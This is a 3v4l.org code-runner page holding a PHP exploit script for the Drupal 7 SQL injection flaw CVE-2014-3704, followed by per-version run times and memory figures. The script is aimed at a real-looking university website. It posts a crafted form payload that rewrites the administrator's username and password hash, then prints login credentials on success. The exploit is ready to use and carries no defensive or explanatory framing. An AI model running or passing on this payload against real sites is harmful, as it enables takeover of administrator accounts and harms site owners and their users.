3v4l.org

run code in 300+ PHP versions simultaneously
<?php #-----------------------------------------------------------------------------# # Exploit Title: Drupal core 7.x - SQL Injection # # Date: Oct 16 2014 # # Exploit Author: Dustin Dörr # # Software Link: http://www.drupal.com/ # # Version: Drupal core 7.x versions prior to 7.32 # # CVE: CVE-2014-3704 # #-----------------------------------------------------------------------------# $url = 'http://www.bracu.ac.bd'; $post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"; $params = array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $post_data ) ); $ctx = stream_context_create($params); $data = file_get_contents($url . '?q=node&destination=node', null, $ctx); if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) { echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login"; } else { echo "Error! Either the website isn't vulnerable, or your Internet isn't working. "; } ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0120.00316.88
8.3.50.0140.00521.26
8.3.40.0170.00719.07
8.3.30.0100.01019.10
8.3.20.0060.00320.71
8.3.10.0000.00822.17
8.3.00.0040.00424.04
8.2.180.0120.00319.04
8.2.170.0070.01022.96
8.2.160.0030.01720.64
8.2.150.0050.00524.18
8.2.140.0060.00324.66
8.2.130.0060.00321.37
8.2.120.0000.00726.35
8.2.110.0060.00320.60
8.2.100.0080.00317.97
8.2.90.0000.00819.42
8.2.80.0040.00418.00
8.2.70.0000.00918.00
8.2.60.0060.00318.18
8.2.50.0090.00018.09
8.2.40.0000.00820.54
8.2.30.0050.00219.71
8.2.20.0050.00218.04
8.2.10.0030.00618.32
8.2.00.0000.00718.27
8.1.280.0070.00725.92
8.1.270.0060.00323.99
8.1.260.0030.00628.09
8.1.250.0080.00028.09
8.1.240.0110.00022.23
8.1.230.0080.00321.13
8.1.220.0080.00018.04
8.1.210.0040.00418.77
8.1.200.0030.00617.47
8.1.190.0000.00817.35
8.1.180.0030.00518.10
8.1.170.0050.00318.90
8.1.160.0050.00220.98
8.1.150.0040.00420.83
8.1.140.0040.00419.79
8.1.130.0000.00817.89
8.1.120.0040.00417.60
8.1.110.0060.00317.69
8.1.100.0050.00317.51
8.1.90.0000.00917.72
8.1.80.0030.00517.49
8.1.70.0040.00417.64
8.1.60.0030.00717.84
8.1.50.0000.00917.66
8.1.40.0040.00417.71
8.1.30.0000.00817.91
8.1.20.0030.00617.76
8.1.10.0080.00017.72
8.1.00.0040.00417.51
8.0.300.0040.00418.77
8.0.290.0040.00417.00
8.0.280.0000.00718.75
8.0.270.0070.00017.55
8.0.260.0000.00817.43
8.0.250.0030.00317.36
8.0.240.0000.00717.20
8.0.230.0030.00317.18
8.0.220.0050.00317.18
8.0.210.0040.00417.13
8.0.200.0030.00317.22
8.0.190.0030.00517.22
8.0.180.0080.00017.19
8.0.170.0080.00017.03
8.0.160.0030.00517.14
8.0.150.0040.00417.10
8.0.140.0050.00217.20
8.0.130.0000.00513.70
8.0.120.0030.00717.26
8.0.110.0000.00817.16
8.0.100.0030.00617.21
8.0.90.0080.00017.30
8.0.80.0100.00717.25
8.0.70.0040.00417.06
8.0.60.0060.00317.16
8.0.50.0040.00417.14
8.0.30.0070.01317.50
8.0.20.0100.01317.40
8.0.10.0050.00317.19
8.0.00.0120.00716.93
7.4.330.0050.00017.04
7.4.320.0000.00716.55
7.4.300.0000.00716.75
7.4.290.0100.00016.64
7.4.280.0060.00316.72
7.4.270.0000.00716.71
7.4.260.0030.00616.68
7.4.250.0040.00416.77
7.4.240.0080.00016.82
7.4.230.0000.00816.77
7.4.220.0070.01116.66
7.4.210.0060.00916.85
7.4.200.0050.00316.80
7.4.160.0040.01216.77
7.4.150.0090.00917.40
7.4.140.0120.01217.86
7.4.130.0130.00516.79
7.4.120.0110.00616.70
7.4.110.0150.00816.77
7.4.100.0100.00816.68
7.4.90.0090.00916.59
7.4.80.0090.00919.39
7.4.70.0060.01216.72
7.4.60.0060.01116.68
7.4.50.0060.00916.72
7.4.40.0120.00816.64
7.4.30.0070.01316.68
7.4.00.0040.01115.36
7.3.330.0050.00013.54
7.3.320.0060.00013.50
7.3.310.0040.00416.81
7.3.300.0040.00416.55
7.3.290.0070.01116.70
7.3.280.0090.00716.66
7.3.270.0100.01417.40
7.3.260.0060.01216.64
7.3.250.0130.00816.68
7.3.240.0080.01216.66
7.3.230.0160.01016.72
7.3.210.0130.00916.53
7.3.200.0140.00819.39
7.3.190.0030.01416.60
7.3.180.0160.00016.73
7.3.170.0130.01016.79
7.3.160.0030.01816.89
7.3.10.0060.00516.93
7.3.00.0020.00917.04
7.2.330.0170.00317.02
7.2.320.0110.01116.99
7.2.310.0120.00917.04
7.2.300.0140.00417.05
7.2.290.0140.00316.68
7.2.130.0100.00217.20
7.2.120.0040.01017.07
7.2.110.0050.00817.13
7.2.100.0080.00517.20
7.2.90.0060.00817.18
7.2.80.0020.01017.17
7.2.70.0060.00616.92
7.2.60.0050.00817.27
7.2.50.0080.00617.33
7.2.40.0050.00717.13
7.2.30.0090.00317.11
7.2.20.0020.01117.16
7.2.10.0060.00617.05
7.2.00.0040.00917.89
7.1.250.0060.00616.02
7.1.200.0040.00816.13
7.1.100.0000.01218.26
7.1.70.0060.00317.62
7.1.60.0110.01419.40
7.1.50.0100.01017.40
7.1.00.0130.05322.76
7.0.200.0030.00616.78
7.0.60.0200.07322.08
7.0.50.0100.07318.19
7.0.40.0000.04720.58
7.0.30.0470.07320.57
7.0.20.0430.06720.54
7.0.10.0070.04020.59
7.0.00.0070.07020.59
5.6.280.0030.03721.20
5.6.210.0000.09020.96
5.6.200.0100.05318.52
5.6.190.0030.04721.01
5.6.180.0370.07321.01
5.6.170.0230.07020.98
5.6.160.0070.07720.86
5.6.150.0100.07718.57
5.6.140.0030.04018.46
5.6.130.0100.07018.56
5.6.120.0070.04321.54
5.6.110.0130.08021.32
5.6.100.0030.08321.25
5.6.90.0130.06321.50
5.6.80.0130.07320.64
5.5.350.0370.06020.67
5.5.340.0100.07318.29
5.5.330.0130.08320.82
5.5.320.0570.06720.65
5.5.310.0230.08320.66
5.5.300.0070.05318.46
5.5.290.0070.03718.32
5.5.280.0030.04321.09
5.5.270.0030.04321.03
5.5.260.0130.07721.08
5.5.250.0070.04721.11
5.5.240.0270.04020.64

preferences:
67.51 ms | 401 KiB | 5 Q